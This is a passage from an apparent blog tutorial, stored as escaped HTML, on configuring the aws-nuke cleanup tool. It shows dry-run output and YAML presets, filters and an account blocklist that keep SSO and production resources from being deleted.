\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [CreateDate: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLastUsedDate:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePath:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [PolicyArn: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePolicyName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRoleCreateDate:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRoleLastUsed:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRoleName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRolePath:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eScan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e85\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etotal,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enukeable,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e66\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efiltered.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eThe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eabove\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edeleted\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupplied\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfiguration.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eProvide\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--no-dry-run\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactually\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edestroy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresources.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis is great, it fully scanned the account and found every resource to delete!\nIt even wants to delete the DefaultVPC which is usually a good idea.  The one\nresource that should catch your eye that you probably do not want to delete:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAWS clearly doesn't want us to delete that!\u003c/p\u003e\n\u003ch1\u003eFilters\u003c/h1\u003e\n\u003cp\u003eTo prevent nuke from deleting resources you want to keep you can define presets\nthat you use on each account.  So with our SSO example we want to prevent it\nfrom deleting those resources in a preset.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esso\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efilters\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"regex\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSSSO_.*_DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can see in this example I'm targetting specific resource types and then\nmatching them with both \u003ccode\u003eregex\u003c/code\u003e and \u003ccode\u003eglob\u003c/code\u003e filter types. These are super\npowerful but a lot of times the simpler filters can be used.  I start with\n\u003ccode\u003econtains\u003c/code\u003e filter and then go from there:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtains\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWSReservedSSO\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen the other thing you may have noticed is that I was repeating\n\u003ccode\u003eAWSReservedSSO\u003c/code\u003e multiple times.  To reduce that you can use standard YAML\nanchors.   So the final config for your preset would look like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esso\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efilters\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e_DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we can use that preset in our accounts configuration:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"presets\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo your final config should look something like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eglobal\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eaccount-blocklist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# production\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esso\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efilters\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e_DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"presets\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhen you run this you should see now the resources we want to keep are filtered\nout:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efiltered\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eby\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce you are ready and have your filters in place you can run it for 